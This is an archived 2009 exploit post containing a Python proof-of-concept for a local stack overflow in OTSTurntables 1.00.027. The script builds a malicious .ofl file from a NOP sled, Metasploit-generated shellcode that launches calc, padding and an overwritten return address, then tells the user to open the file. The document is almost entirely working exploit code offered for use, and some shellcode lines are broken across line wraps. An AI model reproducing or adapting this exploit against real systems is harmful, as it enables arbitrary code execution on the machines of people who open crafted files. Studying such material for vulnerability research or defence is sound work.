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  OTSTurntables buffer overflow

From:crimson.loyd_(at)_gmail.com <crimson.loyd_(at)_gmail.com>
Date:18.01.2009
Subject:OTSTurntables 1.00.027 (.ofl) Local Stack Overflow Exploit

#  OTSTurntables 1.00.027 (.ofl) Local Stack Overflow Exploit
#  Discovered & exploited bY suN8Hclf
#  crimson.loyd@gmail.com, blacksideofthesun.linuxsecured.net
#  Tested on: Windows XP SP2 Polish Full patched
#  
#  Only 274 bytes for shellcode. Wanna more, exploit SEH !!!
#
#  Thanks to Myo and to everyone who knows what hacking really is
#  Not for money dude, only for fun !!!

print "====================================================================="

print " OTSTurntables 1.00.027 (.ofl) Local Stack Overflow Exploit"
print " bY suN8Hclf (crimson.loyd@gmail.com)"
print "====================================================================="


nops = "\x90" * 4
ret = "\x75\x52\x46";   # call ebx

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode = (
       "\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\
x74\x24\xf4\x5b\x81\x73\x13\xc9"
       "\x2c\xc9\x40\x83\xeb\xfc\xe2\xf4\
x35\xc4\x8d\x40\xc9\x2c\x42\x05"
       "\xf5\xa7\xb5\x45\xb1\x2d\x26\xcb\
x86\x34\x42\x1f\xe9\x2d\x22\x09"
       "\x42\x18\x42\x41\x27\x1d\x09\xd9\
x65\xa8\x09\x34\xce\xed\x03\x4d"
       "\xc8\xee\x22\xb4\xf2\x78\xed\x44\
xbc\xc9\x42\x1f\xed\x2d\x22\x26"
       "\x42\x20\x82\xcb\x96\x30\xc8\xab\
x42\x30\x42\x41\x22\xa5\x95\x64"
       "\xcd\xef\xf8\x80\xad\xa7\x89\x70\
x4c\xec\xb1\x4c\x42\x6c\xc5\xcb"
       "\xb9\x30\x64\xcb\xa1\x24\x22\x49\
x42\xac\x79\x40\xc9\x2c\x42\x28"
       "\xf5\x73\xf8\xb6\xa9\x7a\x40\xb8\
x4a\xec\xb2\x10\xa1\xdc\x43\x44"
       "\x96\x44\x51\xbe\x43\x22\x9e\xbf\
x2e\x4f\xa8\x2c\xaa\x02\xac\x38"
       "\xac\x2c\xc9\x40"
   )
num = 276 - 4 - 160
buff = "\x41" * num

exploit = nops + shellcode + buff + ret
try:
   out_file = open("open_me.ofl",'w')
   out_file.write(exploit)
   out_file.close()
   raw_input("\nNow open open_me.ofl file to exploit bug!\n")
except:
   print "WTF?"

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